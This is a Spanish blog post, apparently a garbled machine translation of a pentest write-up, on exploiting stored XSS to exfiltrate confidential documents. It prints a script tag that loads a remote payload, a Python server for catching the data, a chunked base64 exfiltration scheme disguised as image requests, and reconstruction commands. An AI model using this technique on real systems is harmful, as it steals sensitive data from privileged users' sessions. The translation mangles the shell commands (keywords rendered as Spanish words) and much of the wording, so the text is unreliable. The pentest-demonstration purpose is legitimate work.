Durante un compromiso nuevo, encontré una vulnerabilidad de secuencias de comandos entre sitios (XSS) en una aplicación de despacho de documentos legales y creé una carga útil de exfiltración de documentos rápida y sucia. Desafortunadamente, este descubrimiento y codificación ocurrió el final día del compromiso (*tos* reportando rebaja de piratería día), y no tuve la oportunidad de retornar a acopiar los datos extraídos en documentos para demostrárselos al cliente.
Guardé ese fragmento de código con la esperanza de retornar a él algún día. Avance rápido a un compromiso nuevo, y nuevamente tuve una aplicación con datos enormemente confidenciales y una vulnerabilidad XSS. No había otra funcionalidad más interesante en la aplicación para atacar con XSS, así que volví a la exfiltración de datos. En esta publicación, compartiré el código y los comandos que usé para filtrar los datos. Esto podría (y debería) limpiarse de modo significativa, lo que irá a la extensión interminable de mi serie de tareas pendientes, para nunca retornar a ver la luz del día.
El atmósfera
Un beneficiario con privilegios bajos y camino muy condicionado a los datos pudo remitir un ambiente de trabajo que tenía que ser ratificado por una cuenta con privilegios más altos. El pedido de ese ambiente de trabajo tenía una vulnerabilidad XSS almacenada y la cuenta de viejo privilegio tenía camino a los datos confidenciales. Cuando la cuenta de viejo privilegio hizo clic en el pedido para iniciar el proceso de aprobación, la carga útil XSS se ejecutó en su navegador y pudo realizar solicitudes utilizando su sesión.
Primero, la inyección XSS extrajo un archivo JavaScript remoto para ejecutar:
<script src=http://127.0.0.1/exfilPayload.js></script>
Para fines de demostración, y para recortar el destino de los datos confidenciales, simplemente ejecuté un servidor HTTP nave usando Python para atender el exfilPayload.js archivo, y para capturar los datos extraídos:
python -m SimpleHTTPServer 80
Cuando el beneficiario con privilegios altos abría el pedido con la inyección XSS preliminar, su navegador cargaba el http://127.0.0.1/exfilPayload.js archivo y ejecute el JavaScript en él.
Para fines de demostración, supongamos que los datos confidenciales se encuentran en la página https:(//)vulnerableapp.com/app/superSecretData.html. El beneficiario con privilegios bajos no puede ceder a esta página, pero el beneficiario con privilegios altos sí.
El JavaScript en exfilPayload.js solicitará esta URL desde el navegador del beneficiario con privilegios altos y luego la enviará a nuestro servidor Python HTTP sin que la víctima sepa que su navegador está haciendo esto en segundo plano.
El código
Empecemos a repasar el código en exfilPayload.js para ver cómo funciona esto.

Al principio de este robar datos () función, vemos una solicitud XHR GET. Una vez que la respuesta regresa, se almacena en el respuesta de datos variable. ¡Excelente! Ahora tenemos esos datos súper secretos en una variable de JavaScript que controlamos. Ahora, ¿cómo sacamos eso del navegador de nuestra víctima y lo llevamos a nuestras manitas sucias?
Una de las formas más sencillas es realizar muchas solicitudes de imágenes o archivos JavaScript que en existencia no existen. Los nombres de archivo de las imágenes o los archivos JavaScript pueden ser los datos reales que estamos extrayendo. Si aceptablemente nuestro servidor de exfiltración no responderá con nadie de los archivos solicitados, tendrá un registro del nombre de archivo solicitado y, por lo tanto, los datos en el nombre de archivo.
Así que lo que haremos es tomar nuestra respuesta de datos variable, codificarla en base64 y dividirla en partes. Lo dividiremos en fragmentos para evitar restricciones de largura máxima de nombre de archivo y permitirnos filtrar más datos. Todavía generaremos un número de índice de fragmento, por lo que no tenemos que filtrar los archivos secuencialmente. Esto nos permitirá exfiltrar los archivos más rápido.

En el código preliminar, verá que nuestros datos confidenciales están en el respuesta de datos variable. Definimos qué tan grandes van a ser nuestros trozos, y esta será la largura máxima del nombre de archivo que solicitamos. Entonces llamamos a la hermano función para codificar en base64 los datos confidenciales y luego determinar cuántos fragmentos vamos a precisar según el tamaño de los datos que estamos extrayendo y el tamaño del fragmento. Luego recorremos la cantidad de fragmentos, extrayendo una porción de los datos en el ExfilChunk variable que se ve en la última radio de la Figura 2.
Ahora que tenemos nuestra pequeña porción de datos codificados en base64 que queremos filtrar, necesitamos solicitar la ‘imagen’ de nuestro servidor.

Aquí nuestra solicitud de una imagen será a nuestro servidor bajo el /exfilar/ directorio. La venidero parte de la ruta es el número de fragmento. Necesitaremos esta información para restablecer los datos confidenciales en el orden correcto. El nombre del archivo son los datos, y agregamos el .jpg. En nuestro servidor donde recibimos las solicitudes de “imagen”, la salida de nuestra radio de comando se ve así:

Aquí puedes ver que tenemos muy nombres de archivo largos, de hecho, 2000 caracteres para ser precisos, si retrocede y mira nuestro tamaño de fragmento en la carga útil XSS. Notará que nuestro servidor respondió con un código 404 porque no se encontró la imagen. Esto puede parecer un poco sospechoso para cualquier equipo zarco que esté en posición de monitorear este tráfico. Hay muchas respuestas 404 a muchas solicitudes de imágenes cuyos nombres de archivo ciertamente parecen peculiares.
la reconstrucción
Una vez que hayamos recibido todas estas solicitudes, debemos retornar a acopiar estos datos en el superSecretData.html archivo que estamos exfiltrando para que podamos ceder a esos datos jugosos (y una captura de pantalla fantástica para su documentación de prueba de penetración).
Copié y pegué todas esas solicitudes en un archivo de texto, y ahora podemos limpiarlo y restablecer nuestro archivo. Primero, quería dominar este archivo a solo el número de fragmento y el nombre del archivo, que son nuestros datos codificados en base64. Usé el venidero bash one liner para hacer eso:
grep ‘/exfil/’ datosexllenados.txt | awk -F’/exfil/’ ‘{imprimir $2}’ | awk -F’/’ ‘{imprimir $1 ” ” $2}’ | awk -F’.jpg’ ‘{imprimir $1}’ | mientras leo yo; hacer eco $i; hecho > exfilledDataCleaned.txt
La resultante exfilledDataCleaned.txt archivo se parece a:

Antiguamente de continuar usando los comandos bash para retornar a componer este archivo, me di cuenta de que ya tenía un script de Python que hacía esto para unir archivos de BitTorrent PCAP. Esa secuencia de comandos de Python (incluida en el repositorio de GitHub vinculado al final de esta publicación) pasó por el exfilledDataCleaned.txt y escribió el nombre de archivo de la imagen (datos codificados en base64) en su propio archivo, siendo el nuevo nombre de archivo el número de fragmento. Eso resultó en un directorio de datos que se parecía a lo venidero:

El venidero comando bash luego pasa por cada archivo en sucesión y decodifica el contenido de nuevo en el superSecretData.html. Tenga en cuenta que en el ejemplo, el archivo final fue 225.trozo.
para archivo en ./{0..225}.chunk; hacer astuto $archivo | base64 -d; hecho > restauradoSuperSecretData.html
Ahora podemos desplegar nuestro restauradoSuperSecretData.html archivo y ver la información súper secreta.

Con suerte, esto lo ayudará en una prueba de penetración en algún momento cuando desee ilustrar el impacto de las vulnerabilidades XSS. Puede encontrar el código fuente mencionado en esta publicación de blog en el venidero repositorio: https://github.com/hoodoer/XSS-Data-Exfil
Si desea obtener más información sobre cómo componer las vulnerabilidades XSS, consulte mi publicación de blog preliminar: https://www.trustedsec.com/blog/tricks-for-weaponizing-xss/